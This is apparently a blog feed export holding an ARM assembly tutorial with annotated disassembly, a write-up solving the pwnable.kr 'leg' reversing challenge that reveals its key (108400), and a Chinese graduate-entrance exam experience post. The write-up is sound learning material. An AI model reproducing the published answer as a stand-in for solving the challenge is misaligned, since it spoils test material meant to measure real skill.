<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function main:</span><br><span class="line">&#x3D;&gt; 0x000103e8 &lt;+0&gt;:		push	&#123;r11, lr&#125;  @最开始执行到main时，lr存放的是&lt;__libc_start_main+276&gt; bl 0xb6ea4b28 &lt;__GI_exit&gt;，就是说这里将本函数的返回地址先存到了栈上</span><br><span class="line">@然后r11存放的是前一个函数的栈帧地址（作用等于rbp吧）</span><br><span class="line">   0x000103ec &lt;+4&gt;:		add	r11, sp, #4 @新栈帧地址 直接sp+4得到，指向存放的lr</span><br><span class="line">   0x000103f0 &lt;+8&gt;:		sub	sp, sp, #16 @开辟了4*4字节大小的栈帧</span><br><span class="line">   0x000103f4 &lt;+12&gt;:	mov	r3, #0</span><br><span class="line">   0x000103f8 &lt;+16&gt;:	str	r3, [r11, #-8] @r11-8处存放0（res）</span><br><span class="line">   0x000103fc &lt;+20&gt;:	mov	r3, #1</span><br><span class="line">   0x00010400 &lt;+24&gt;:	str	r3, [r11, #-12] @r11-12处存放1（a）</span><br><span class="line">   0x00010404 &lt;+28&gt;:	mov	r3, #2</span><br><span class="line">   0x00010408 &lt;+32&gt;:	str	r3, [r11, #-16] @r11-16处存放2（b）</span><br><span class="line">   0x0001040c &lt;+36&gt;:	ldr	r0, [r11, #-12] @开始给要调用的函数赋值参数，把1给r0</span><br><span class="line">   0x00010410 &lt;+40&gt;:	ldr	r1, [r11, #-16] @把2给r1，这里可以看出来参数传递顺序</span><br><span class="line">   0x00010414 &lt;+44&gt;:	bl	0x1042c &lt;max&gt;   @把下个函数的返回地址存到lr后调用函数</span><br><span class="line">   0x00010418 &lt;+48&gt;:	str	r0, [r11, #-8]  @(返回值赋给res，然后再给r0)</span><br><span class="line">   0x0001041c &lt;+52&gt;:	ldr	r3, [r11, #-8]</span><br><span class="line">   0x00010420 &lt;+56&gt;:	mov	r0, r3</span><br><span class="line">   0x00010424 &lt;+60&gt;:	sub	sp, r11, #4</span><br><span class="line">   0x00010428 &lt;+64&gt;:	pop	&#123;r11, pc&#125; @这里由于PC的特性，感觉将之前的lr内容给到PC之后，PC自己又会自动+8多读两条指令</span><br></pre></td></tr></table></figure>

<p>上面代码中执行到+32处时栈帧看起来就是这样的（我这里sp指向栈顶后一个单元，可能有些实现会有不同）：</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210111163416232.png" alt="image-20210111163416232" style="zoom:80%;">

<p>再来看max：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">max</span><span class="params">(<span class="keyword">int</span> a,<span class="keyword">int</span> b)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"> do_nothing();</span><br><span class="line"> <span class="keyword">if</span>(a&lt;b) <span class="keyword">return</span> b;</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function max:	@这里就不一行行解释了</span><br><span class="line">&#x3D;&gt; 0x0001042c &lt;+0&gt;:		push	&#123;r11, lr&#125;</span><br><span class="line">   0x00010430 &lt;+4&gt;:		add	r11, sp, #4</span><br><span class="line">   0x00010434 &lt;+8&gt;:		sub	sp, sp, #8</span><br><span class="line">   0x00010438 &lt;+12&gt;:	str	r0, [r11, #-8]</span><br><span class="line">   0x0001043c &lt;+16&gt;:	str	r1, [r11, #-12]</span><br><span class="line">   0x00010440 &lt;+20&gt;:	bl	0x1046c &lt;do_nothing&gt; @lr存入下一条指令地址然后跳转到do_nothing</span><br><span class="line">   0x00010444 &lt;+24&gt;:	ldr	r2, [r11, #-8]</span><br><span class="line">   0x00010448 &lt;+28&gt;:	ldr	r3, [r11, #-12]</span><br><span class="line">   0x0001044c &lt;+32&gt;:	cmp	r2, r3</span><br><span class="line">   0x00010450 &lt;+36&gt;:	bge	0x1045c &lt;max+48&gt;</span><br><span class="line">   0x00010454 &lt;+40&gt;:	ldr	r3, [r11, #-12]</span><br><span class="line">   0x00010458 &lt;+44&gt;:	b	0x10460 &lt;max+52&gt;</span><br><span class="line">   0x0001045c &lt;+48&gt;:	ldr	r3, [r11, #-8]</span><br><span class="line">   0x00010460 &lt;+52&gt;:	mov	r0, r3</span><br><span class="line">   0x00010464 &lt;+56&gt;:	sub	sp, r11, #4</span><br><span class="line">   0x00010468 &lt;+60&gt;:	pop	&#123;r11, pc&#125;</span><br></pre></td></tr></table></figure>

<p>do_nothing：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">do_nothing</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function do_nothing:	@由于do_nothing没有再调用其他函数，所以没有push lr，返回时也是直接bx lr</span><br><span class="line">&#x3D;&gt; 0x0001046c &lt;+0&gt;:		push	&#123;r11&#125;		; (str r11, [sp, #-4]!)</span><br><span class="line">   0x00010470 &lt;+4&gt;:		add	r11, sp, #0</span><br><span class="line">   0x00010474 &lt;+8&gt;:		mov	r3, #0</span><br><span class="line">   0x00010478 &lt;+12&gt;:	mov	r0, r3</span><br><span class="line">   0x0001047c &lt;+16&gt;:	sub	sp, r11, #0</span><br><span class="line">   0x00010480 &lt;+20&gt;:	pop	&#123;r11&#125;		; (ldr r11, [sp], #4)</span><br><span class="line">   0x00010484 &lt;+24&gt;:	bx	lr</span><br></pre></td></tr></table></figure>

<p>把函数调用看做一个树形结构的话，这里也可以看出叶子函数和非叶子函数的区别</p>
<p>OK到此为止对ARM的一些基础就知道的差不多了，来写题吧</p>
<h2 id="leg"><a href="#leg" class="headerlink" title="leg"></a>leg</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;                                      </span><br><span class="line">        <span class="keyword">int</span> key=<span class="number">0</span>;                               </span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"Daddy has very strong arm! : "</span>); </span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">"%d"</span>, &amp;key);                       </span><br><span class="line">        <span class="keyword">if</span>( (key1()+key2()+key3()) == key )&#123;     </span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"Congratz!\n"</span>);           </span><br><span class="line">                <span class="keyword">int</span> fd = <span class="built_in">open</span>(<span class="string">"flag"</span>, O_RDONLY); </span><br><span class="line">                <span class="keyword">char</span> buf[<span class="number">100</span>];                   </span><br><span class="line">                <span class="keyword">int</span> r = <span class="built_in">read</span>(fd, buf, <span class="number">100</span>);      </span><br><span class="line">                <span class="built_in">write</span>(<span class="number">0</span>, buf, r);                </span><br><span class="line">        &#125;                                        </span><br><span class="line">        <span class="keyword">else</span>&#123;                                    </span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"I have strong leg :P\n"</span>);</span><br><span class="line">        &#125;                                        </span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;                                </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>从c语言内容可以看出来，主要就是看key1、key2、key3的汇编然后计算和即可，先来看key1</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function key1:                          </span><br><span class="line">   0x00008cd4 &lt;+0&gt;:     push    &#123;r11&#125;       ; (str r11, [sp, #-4]!)</span><br><span class="line">   0x00008cd8 &lt;+4&gt;:     add r11, sp, #0                            </span><br><span class="line">   0x00008cdc &lt;+8&gt;:     mov r3, pc                                 </span><br><span class="line">   0x00008ce0 &lt;+12&gt;:    mov r0, r3                                 </span><br><span class="line">   0x00008ce4 &lt;+16&gt;:    sub sp, r11, #0                            </span><br><span class="line">   0x00008ce8 &lt;+20&gt;:    pop &#123;r11&#125;       ; (ldr r11, [sp], #4)      </span><br><span class="line">   0x00008cec &lt;+24&gt;:    bx  lr</span><br></pre></td></tr></table></figure>

<p>这里就是考PC的特性，指向后两条指令处，即<code>0x00008ce4</code>，再来看key2</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function key2:                      </span><br><span class="line">   0x00008cf0 &lt;+0&gt;: 	push    &#123;r11&#125;       ; (str r11, [sp, #-4]!)</span><br><span class="line">   0x00008cf4 &lt;+4&gt;: 	add r11, sp, #0</span><br><span class="line">   0x00008cf8 &lt;+8&gt;: 	push    &#123;r6&#125;        ; (str r6, [sp, #-4]!)</span><br><span class="line">   0x00008cfc &lt;+12&gt;:    add r6, pc, #1</span><br><span class="line">   0x00008d00 &lt;+16&gt;:    bx  r6</span><br><span class="line">   0x00008d04 &lt;+20&gt;:    mov r3, pc     @跳转到这里的时候切成了Thumb模式，然后将r3赋值0x00008d08</span><br><span class="line">   0x00008d06 &lt;+22&gt;:    adds    r3, #4 @ r3&#x3D;0x00008d0C</span><br><span class="line">   0x00008d08 &lt;+24&gt;:    push    &#123;r3&#125;</span><br><span class="line">   0x00008d0a &lt;+26&gt;:    pop &#123;pc&#125;       @这里就是类似花指令的操作，接着执行</span><br><span class="line">   0x00008d0c &lt;+28&gt;:    pop &#123;r6&#125;        ; (ldr r6, [sp], #4)</span><br><span class="line">   0x00008d10 &lt;+32&gt;:    mov r0, r3     @此时r3&#x3D;0x00008d0C</span><br><span class="line">   0x00008d14 &lt;+36&gt;:    sub sp, r11, #0</span><br><span class="line">   0x00008d18 &lt;+40&gt;:    pop &#123;r11&#125;       ; (ldr r11, [sp], #4)</span><br><span class="line">   0x00008d1c &lt;+44&gt;:    bx  lr</span><br></pre></td></tr></table></figure>

<p>所以key2返回<code>0x00008d0C</code>，再来看key3</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Dump of assembler code for function key3:                      </span><br><span class="line">   0x00008d20 &lt;+0&gt;: 	push    &#123;r11&#125;       ; (str r11, [sp, #-4]!)</span><br><span class="line">   0x00008d24 &lt;+4&gt;: 	add r11, sp, #0</span><br><span class="line">   0x00008d28 &lt;+8&gt;: 	mov r3, lr</span><br><span class="line">   0x00008d2c &lt;+12&gt;:    mov r0, r3</span><br><span class="line">   0x00008d30 &lt;+16&gt;:    sub sp, r11, #0</span><br><span class="line">   0x00008d34 &lt;+20&gt;:    pop &#123;r11&#125;       ; (ldr r11, [sp], #4)</span><br><span class="line">   0x00008d38 &lt;+24&gt;:    bx  lr</span><br></pre></td></tr></table></figure>

<p>这里lr存的是在main里面的返回地址，去main里面看就知道是<code>0x00008d80</code></p>
<p>所以加起来就是0x1A770→108400，ssh过去就可以得到flag</p>
]]></content>
      <tags>
        <tag>pwnable.kr</tag>
      </tags>
  </entry>
  <entry>
    <title>考研经历</title>
    <url>/2021/06/27/%E8%80%83%E7%A0%94%E7%BB%8F%E5%8E%86/</url>
    <content><![CDATA[<h1 id="考研经历（复旦大学计算机学院电子信息）"><a href="#考研经历（复旦大学计算机学院电子信息）" class="headerlink" title="考研经历（复旦大学计算机学院电子信息）"></a>考研经历（复旦大学计算机学院电子信息）</h1><blockquote>
<p>总算是毕业了，考研经验贴一直在拖拖拖，总算在六月底的某个夜里心血来潮来给学弟学妹们分享一些个人的考研经验了。之所以选择这个时间点，没有选择3 4月份复试完直接写，一方面是因为之前太懒了…抱歉hhhh；还有一方面是我觉得前期的那些准备工作网上都铺天盖地的，没必要把别人都总结好的东西再拿来干嚼一遍，我个人前期备考也基本是参考网文。</p>
</blockquote>
<h1 id="考研成绩"><a href="#考研成绩" class="headerlink" title="考研成绩"></a>考研成绩</h1><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/psc" alt="img" style="zoom: 50%;">

<p>确实是靠数学和专业课撑起来的，去年疫情+暑期不能回校真的各种考验心态和时间规划，我个人9月前都是一直在家备考，受各种因素影响在政治和英语的投入很少，分数理所应当的低…..少到什么程度呢…..大概就是英语这方面我只有前期听课的单词基础和语法基础，然后政治我是从十月十一月开始准备的，所以建议你们最好暑假就开始刷一刷政治课，然后英语不要间断阅读训练和单词积累。</p>
<p>复试成绩高大概是因为本科做的事情（比如打CTF）还有毕设（Fuzzing相关）和那边的研究方向比较match，所以我现在(6月)就已经开始接触那边的论文和项目代码了，而且当时自己答的也还行，虽然情绪上有些紧张啥的，但提问就只是提问，只要能正常交流而且问题答上来就好了。</p>
<h2 id="初试（总成绩50-）"><a href="#初试（总成绩50-）" class="headerlink" title="初试（总成绩50%）"></a>初试（总成绩50%）</h2><blockquote>
<p>初试经验写在这你们看看就行，这些网上应该也是很多的，有些东西就是赘述了</p>
</blockquote>
<h3 id="数学"><a href="#数学" class="headerlink" title="数学"></a>数学</h3><p>分数：142</p>
<p>不夸张的讲，感觉今年数学二相对来说确实简单，拿到考卷的感觉就是很舒服，基础知识扎实的话会觉得没啥刁钻题，考的知识点也是平时上课笔记里都有的，当时考场上写的比平时要慢也剩了差不多半小时吧，写的慢是因为我希望简单不丢分。但是虽然这么说….填空题有一题计算的时候把π/2的倒数2/π脑抽地写了个2π，就还是丢了5分，然后剩下的两分是因为漏了一个点 漏了一个渐近线，所以做数学题细心还是很重要的，平时练题也不要懒计算量，该算就算。</p>
<p>要说分享什么经验的话，其实大佬网友们的经验应该都很全了，我的能作为补充就补充吧…</p>
<p>我高数是跟的汤家凤的基础课+强化课，他的1800我在前期写了数一的基础部分（当时不确定自己是考数一还是数二），后来因为408的内容太多我感觉写不完就没写了，本来确定考复旦后想换数二的1800写写高数强化，结果买来放那快递袋子都没拆，疫情+暑期+生产实习结束后在学校真就狂肝408去了，时间太紧只能自己balance。然后线代是跟的李永乐，也是因为时间紧，没来得及刷题，这俩主要就是靠我9月生产实习结束后实打实刷了高数讲义（汤）和线代讲义（李）而且做了很多题型笔记，各种体会考点+学习做题方法然后记下来。十一月底开始写真题写模拟卷，就是每见到一个题目就想这个题在考什么，能不能对应讲义上的题目类型，自己记不记得怎么解，笔记上有没有，如果记忆中没有这个知识点那就查漏补缺，这样刷下来一套卷子就是有价值的，然后整理这些卷子的错题还有各种解题方法，千万不能跳过自己不熟不会的地方(包括自己不熟悉的解题方法，特别是真题上的)，写卷子跳过自己的弱点就是在浪费卷子+想不开，因为你不知道这些东西会不会在考试的时候碰到。还有计算量也要注意，暑期还有时间可以多练练，这些年真题给我的感觉就是计算量慢慢开始增大了。</p>
<p>emmm所以总的来说应该就是多记多见多算吧，还有基础知识的掌握是非常重要的，等你们写真题写到今年(2021)数二填空题最后一题就知道了，基础知识扎实的话可以秒杀，基础知识不扎实的就会干瞪眼算到头大。</p>
<h3 id="专业课"><a href="#专业课" class="headerlink" title="专业课"></a>专业课</h3><p>分数：123</p>
<blockquote>
<p>ps: 408真的很多，一定要给足时间投入</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210627005807825.png" alt="image-20210627005807825" style="zoom: 33%;">

<p>这是去年复习408的时候发的签名，杀疯了哈哈哈哈。我最开始复习408应该是5，6月的样子吧，但是在家的时候5，6月真的各种心烦意乱，考试大作业报告什么的间断我一下就很难受，完全不能按照自己的理想计划来，所以一直到7月底我才复习完数据结构，就是刷完王道的那一整本书，然后八月复习完操作系统，9月一边生产实习一边复习计组，到10月初复习完计组又开始啃计网，然后十月底结束408的第一大轮复习。也就是说我从5月~10月才结束408的第一轮，不过我的第二轮复习只用了一个月，整个十一月我真的就是每天拿4~5个小时出来，抱着王道的四本书不停的抄、记，平均一周一本书（300多面），因为第二轮不用再完整的做题了，只用回顾错题，所以只是专注知识点复习的话就很快，肝起来就像期末考试一样的一直刷一直记。这四门课很大程度上还是啃了大二大三的老本，除了操作系统生疏一些（因为操作系统有很多概念和定义性的东西），计组计网我都算复习的比较快了。</p>
<p>感觉复习专业课知识就是反复地在理解的基础上记忆，然后自己画知识导图，每一门大课，每一章，我都有画过对应的知识导图。而且平时自己用到专业课知识也算比较频繁，认真看一看就很容易理解，关键在于记忆，看后面忘前面的感觉在后期真的会把人逼疯，列知识导图很重要，而且一般复习轮数推荐在两轮以上，这样配合知识导图会记得比较牢。</p>
<p>刷起真题来就是把知识运用到写题里然后查漏补缺，和数学一样，只要是印象中没有或者忘了的东西，全都要自己重新记一遍，然后把自己的易错点整理下来，如果存在理解性错误就赶紧重视。（这里有个小插曲哈哈哈哈哈，当时刷完近十几年的408真题之后，我用一张A4大小的纸整理了一整页的易错点还有查漏补缺的内容，考前半周的时候刷了一次，本来准备考前那个晚上再认真看一看的，结果发现它掉….掉….了…，虽然最后应该没有因为这张纸上面的知识点丢分，毕竟大部分是自己记忆下来了。所以你们要是用纸整理知识点什么的千万别弄丢，越到后期这种时间越宝贵，别因为丢了东西要重新花时间整理）</p>
<blockquote>
<p>补充：408真题和数学真题一样建议从后往前做，尽量保证选择题的正确率，考场上大概会有10分左右的东西在当年的王道资料上是没有的，如果碰到这种题不要慌，不会做先跳过就好了</p>
</blockquote>
<h3 id="英语-amp-政治"><a href="#英语-amp-政治" class="headerlink" title="英语&amp;政治"></a>英语&amp;政治</h3><p>保命分数没啥参考价值…..不过英语我倒是一直有听TED，然后扇贝阅读打卡。12月还报了一次六级，提前习惯了一下考试氛围，最后考了490多吧，比第一次六级高了60分，所以感觉坚持阅读和保持语感还是有用的。政治只能说肖秀荣牛逼，但是想拿高一点分数你自己还是得有话写，上海压不压分我不知道，但是我选择题34分的话，也就是说主观题我照着肖4写满了也只有27分，推荐不要学我只靠肖四肖八保命…..还是要好好听政治课的！</p>
<h2 id="复试（总成绩50-）"><a href="#复试（总成绩50-）" class="headerlink" title="复试（总成绩50%）"></a>复试（总成绩50%）</h2><p>复旦的复试分英语口语还有编程摸底、专业面试（英语口语10%，编程摸底40%，专业面试50%），而且今年也是线上复试，在专业面试之前会让你填一遍志愿，计算机学院这边AI和大数据组招的名额会特别多，可能招300人的话这两个方向就有200个人，当然也很卷。我报的系统软件与安全实验室这边只有16个名额，相对来说少很多，但大家的初试分数会更能让人接受一些，当然复旦主要还是看复试分数啦~（想想今年435的复试被刷了就知道什么水平了…..）</p>
<h3 id="英语口语"><a href="#英语口语" class="headerlink" title="英语口语"></a>英语口语</h3><p>时长5分钟，我硬刚了，准备的不是很多，只把408中的一些专业课知识的英文陈述背了背，语言组织就啃着我听TED的老本……</p>
<p>上来会有一段自我介绍，一分半钟左右，老师会根据你自我介绍中的信息进行提问，所以千万别给自己挖坑</p>
<p>我被问到的问题三个，但我第一个问题实在是听不清楚…….也不知道是我对那几个单词太生疏了还是老师麦糊听不清，大概就是说我提到manage myself然后啥啥啥的，说了几遍Sorry, I can’t hear clearly老师就跳过了……..当时根本顾不上紧张就换了一个…助理学生？和我对话，这个人离麦比较近所以听的清楚一点。然后就问了我dream job，好家伙，bin方向辣鸡CTFer的dream job那可是再熟悉不过了，当然是各种安全实验室，这里我说的还是挺多的，之后因为我自我介绍提到了比赛，所以问了问我得过什么奖就结束了。比网上某老哥被问到TCP/IP啥的要友好很多，自己基本还是会答，也有可能是因为老师看到我英语分数太低了不好意思问难（</p>
<h3 id="编程摸底"><a href="#编程摸底" class="headerlink" title="编程摸底"></a>编程摸底</h3><p>记得当时是时长3小时好像，这个刷题多刷就好，多刷多见识，考完初试自我感觉不错的话年过完了就开始刷吧，虽然我是主要按PAT甲准备的，刷了一百题左右的PAT还有寒假刷的二十几道leetcode上的动态规划，但是复旦这次考的全是leetcode上的原题（70 494 1448），所以机试还是得多刷一些leetcode，特别是PAT好像没啥动态规划，但是动态规划复旦每年都考，一定要记得刷一下动态规划的专题</p>
<h3 id="专业面试"><a href="#专业面试" class="headerlink" title="专业面试"></a>专业面试</h3><p>时长15分钟，先过心理关，不要太紧张，一群人围着你的时候该说什么说什么，也不要给自己挖坑，老师会顺着你说的话疯狂追问你，最好找一个有考研面试经验或者已经工作的学长学姐给你模拟面试一次，提前熟悉这个氛围后会好一些。</p>
<p>首先你的机试是必问的，记得考完机试去看看写出来的题还有没有更优解，没写出来的题怎么写。</p>
<p>毕设、项目、竞赛这种东西肯定也会问的，要不然就没啥好聊的了，所以推荐早点把毕设思路想明白，年底毕设选题的时候想清楚自己要做什么，如果有自己的小创新小优化就很好，不管是电话面试还是正式的专业面试都会有不错的印象。如果可以，尽量让自己做的东西和对方的研究方向match上，可以去看看他们发了什么论文，在做什么之类的。</p>
<p>至于面试加压，怎么说呢，保证自己态度要好，虚心接受，但是也别一被怼就怂成馒头弹不起来了，记得适当跟老师解释说明但也不要表现的很强硬，心平气和的交流很重要，就算你觉得老师误解了你的意思，你也一定要说明清楚，别含含糊糊的。</p>
<blockquote>
<p>补充：专业面试开始时也会有一个自我介绍，把本科做的事情大致说一说，别挖坑，因为老师会疯狂追问你。</p>
</blockquote>
<h2 id="电话面试"><a href="#电话面试" class="headerlink" title="电话面试"></a>电话面试</h2><p>这个是分数出来之后，看一看复试群里面的大致排名，觉得有希望就可以去联系老师了，老师会对你本科做的事情还有学习态度、学习能力创新能力之类的做一个估算，通过提问不断了解你，聊的东西可能比专业面试还要多，我当时和老师聊了差不多半小时的样子hhhh，聊完感觉挺好的。</p>
<p>然后是一些之前在学校被问到的东西，经典Q&amp;A环节：</p>
<h1 id="Q-amp-A"><a href="#Q-amp-A" class="headerlink" title="Q&amp;A"></a>Q&amp;A</h1><h2 id="1-当初是什么让你在就业和考研中选择了考研？你是如何看待这两个选择的。"><a href="#1-当初是什么让你在就业和考研中选择了考研？你是如何看待这两个选择的。" class="headerlink" title="1.当初是什么让你在就业和考研中选择了考研？你是如何看待这两个选择的。"></a>1.当初是什么让你在就业和考研中选择了考研？你是如何看待这两个选择的。</h2><p>在大学刚入学那会就有读研的想法了，当年单纯是觉得这个机会能弥补高考的遗憾。再后来，自己在专业相关的比赛和冬夏令营结识了很多外校的朋友(包括已经工作的还有在读研的)，从他们那了解到了一些院校、公司的情况和差别，感觉学术研究氛围更吸引我，所以在考研和就业之间决定了考研。</p>
<p>对于我个人的话，读研，在学术氛围里我能更好保持对专业知识的求知欲；直接进入社会工作，相对来说在知识层面就显得没那么专一。当然这两个选择要视自己实际情况而定，比如有的人就对研究不感冒，更偏爱实际生产中的体验和收获。当然读研也是一个能让我以后有更多选择余地的事情。</p>
<h2 id="2-在考研当中，学长认为什么是最重要的？如心态、计划等。"><a href="#2-在考研当中，学长认为什么是最重要的？如心态、计划等。" class="headerlink" title="2.在考研当中，学长认为什么是最重要的？如心态、计划等。"></a>2.在考研当中，学长认为什么是最重要的？如心态、计划等。</h2><p>个人认为心态比计划重要很多。如果执行能力没有那么强，或者说你定的计划太多太完美——想的太好，结果执行不能”落地”，那么这时候心态的重要性就凸显出来了。如果是真心想考研，面对一次又一次的计划落空，一次又一次的进度落后，你会怎么想？是继续严格执行计划，把自己的能动性逼出来；还是说根据实际情况，重新对自己的能力做出评价，换个目标？……</p>
<p>考研路上既有把厕所时间都安排到定点的人，也有不定确切计划走一步看一步的人，但这些都不是他们能否考高分的决定因素，决定最后考试能否考高分，就是面对考题时：会、记得、不写错。</p>
<p>个人觉得，保持”我要学会”的心态很重要，有一个好心态之后动态地安排学习计划，比如前一次执行效果不好，就反思后再重新安排。不管每轮或每月的学习计划执行的是否满意、最后冲刺阶段是否紧张，只要是面对知识，就在”我要学会”的驱动下质问自己会不会，之后为了掌握知识，你就学会了慢慢做出适合自己的计划调整。</p>
<h2 id="3-学长是如何为自己的考研做准备的，应该怎样安排考研复习计划比较好，怎样平衡竞赛与课业任务的？有什么妙招吗？"><a href="#3-学长是如何为自己的考研做准备的，应该怎样安排考研复习计划比较好，怎样平衡竞赛与课业任务的？有什么妙招吗？" class="headerlink" title="3.学长是如何为自己的考研做准备的，应该怎样安排考研复习计划比较好，怎样平衡竞赛与课业任务的？有什么妙招吗？"></a>3.学长是如何为自己的考研做准备的，应该怎样安排考研复习计划比较好，怎样平衡竞赛与课业任务的？有什么妙招吗？</h2><p>开始的时候首先了解院校、专业、科目、报录比之类的信息，这些在外面的各种考研平台都有，不必在这里细说。之后根据考试科目安排一个大致的复习框架和复习轮数之类的，当然这里也可以参考各大平台的上岸经验贴，科目经验网上到处都是，个人感觉没必要赘述（srds，6月写经验的时候还是写了哈哈哈哈哈），这些我很多也是照着网上的经验贴来的，然后按我前面说的，自己调整就可以了。</p>
<p>竞赛的话得看个人水平和科目掌握情况，如果自身能力比较强，考试科目掌握情况也比较好，想接着在竞赛上打出成绩，就视自己的精力参加（比如复旦那边上岸的好像就有经常打比赛做项目，最后复习三四个月400多分的人）。如果是本来就没有打过比赛，想趁着考研的学习劲头两手一起抓，好让自己在复试能有东西说，那么我的建议是尽量别。以我个人为参考，去年五六月份感觉自己缺少项目经验，想做个项目，结果在期末考试和复习的干扰之下根本没有那么多心思来管项目的东西，之后进入考研黄金期，就更难抽出心思来了。如果是真想复试有东西可以和老师聊，建议可以把毕设当成项目做，做出自己的小创新。</p>
<p>课业肯定要好好学。这个没啥好说的，根据大一二三的经验应该知道怎么做了，只不过是课业之后花更多时间备考。</p>
<h2 id="4-考研是一个持久战，你曾有没有动摇过，是什么让你坚持不懈一直走下去的？"><a href="#4-考研是一个持久战，你曾有没有动摇过，是什么让你坚持不懈一直走下去的？" class="headerlink" title="4.考研是一个持久战，你曾有没有动摇过，是什么让你坚持不懈一直走下去的？"></a>4.考研是一个持久战，你曾有没有动摇过，是什么让你坚持不懈一直走下去的？</h2><p>初期动摇还是挺普遍的，只是多少问题。面对突然的选择、面对两点一线（甚至疫情在家是床和桌子的两点一线）、面对高压的学习氛围、面对全精力的投入代价，对比起大一二相对来说舒服一些学习环境，肯定会觉得很难，怀疑自己是不是找实习会更好。</p>
<p>后来辛苦备考的时候，朋友圈一会是xxx在xx厂入职，一会是xxx在xx厂办的比赛中拿奖、拿到绿色直通，还有最后9、10月份的各种保研截图（特别是冬令营的队友保了北大….），都让我一度”怀疑人生”。</p>
<p>最后明确考研目标，首先是承认了自己的缺点，承认了自己学习、比赛上确实不如校外的朋友们，没能像他们一样把GPA拿的很高等等，既然我是羡慕他们的经历、而且想读研，那么当时的情境下就只能就靠考研这条路来突破，只能在这件事上”做更多功”，想不到别的办法。后期结合我之前提到的，带着”我要学会”的心态，就专注于能让我学会知识，拿到分的办法去了，在考场上面对考题都只是一直在问自己：”这题在考什么，我会不会”，而没有像当年高考一样想着”考不上怎么办，考的不好怎么办”。</p>
<p>我觉得当时那个情境配合自己的心态是我能坚持下来的一个核心原因。</p>
<h2 id="5-考研要注意哪些事情"><a href="#5-考研要注意哪些事情" class="headerlink" title="5.考研要注意哪些事情"></a>5.考研要注意哪些事情</h2><p>分条列举一部分吧，这个问题太宽泛了</p>
<p>生活上</p>
<ul>
<li>注意劳逸结合，让自己学习的时候精力充沛。比如作息这种，考研阶段每个人都不太一样，只能靠自己慢慢体会，调整。</li>
<li>娱乐时间不要太长。比如一下好多天不学，这样很容易让自己把刚学的知识忘掉，也比较难再进入状态。到了复习后期，个人建议是最多一周内选择一天的早+午或者午+晚休息</li>
<li>多吃点，吃好点。专注复习消耗大</li>
<li>让室友尽量配合。比如晚上不要打游戏</li>
<li>小心那些不理解你考研的朋友。</li>
<li>结不结伴考研要视自己性格还有朋友性格而定。我基本是全程一个人准备的，除了有问题要问同学以外。</li>
</ul>
<p>学习上首先保持好心态，列计划后学会调整，重复记忆很重要，”学会”最大。其他好像没啥好说的，网上经验贴这块应该是共通的….</p>
<p>感情上（如果有的话），需要两个人好好商量一下，毕竟是关系你们各自未来的事情。自己要提醒自己即使在感情最坏的情况下也不要影响考研，因为感情问题在考研上崴脚的人真的太多了。</p>
<p>工作考研以及二战啥的就不知道了….自己也没经历过</p>
<h2 id="6-考研期间有没有发生令你印象很深刻的事，或者受到谁给予的很大鼓励与帮助？如果有可以简要谈一谈，以及自己对此的感想吗？"><a href="#6-考研期间有没有发生令你印象很深刻的事，或者受到谁给予的很大鼓励与帮助？如果有可以简要谈一谈，以及自己对此的感想吗？" class="headerlink" title="6.考研期间有没有发生令你印象很深刻的事，或者受到谁给予的很大鼓励与帮助？如果有可以简要谈一谈，以及自己对此的感想吗？"></a>6.考研期间有没有发生令你印象很深刻的事，或者受到谁给予的很大鼓励与帮助？如果有可以简要谈一谈，以及自己对此的感想吗？</h2><p>印象很深刻的事，疫情就算一个，对此的感想只想说人要保持乐观，当初对于疫情考研这件事，有的人觉得疫情在家肯定复习不好，有的人会觉得疫情创造的环境是个机会。</p>
<p>还有我冬令营的北航研究生班助给予了我很多鼓励和帮助，真的很感谢他，暑假有一次在家情绪特别低落，特地找他从我的高考聊到考研，听我倾诉完之后他跟我说：”要多肯定自己”。因为人对他人的反馈是很敏感的，自我暗示也一样，对于成果和收获要及时给自己加之正反馈，这样在学的时候就能更有信心。</p>
<h2 id="7-学长对想要考研的学弟学妹们有什么建议？能说一声自己的经验吗？"><a href="#7-学长对想要考研的学弟学妹们有什么建议？能说一声自己的经验吗？" class="headerlink" title="7.学长对想要考研的学弟学妹们有什么建议？能说一声自己的经验吗？"></a>7.学长对想要考研的学弟学妹们有什么建议？能说一声自己的经验吗？</h2><p>上面该说的经验我都说的差不多了，多提一嘴的东西就是重复记忆，要记得学的时候把学到的东西都用笔记下来，还有错过的题目也是，考研毕竟是一个长期过程，才学到的东西说不定过一两个月就忘了，遗忘速度是很快的。</p>
<p>希望考研这个经历带给你们的不只是考研本身，而是在人生层面能带给你们成长，往后走能完完全全准备好的事会越来越少，大家都是第一次，只要不懈怠，在最后无论什么结果都会好受一些，加油！</p>
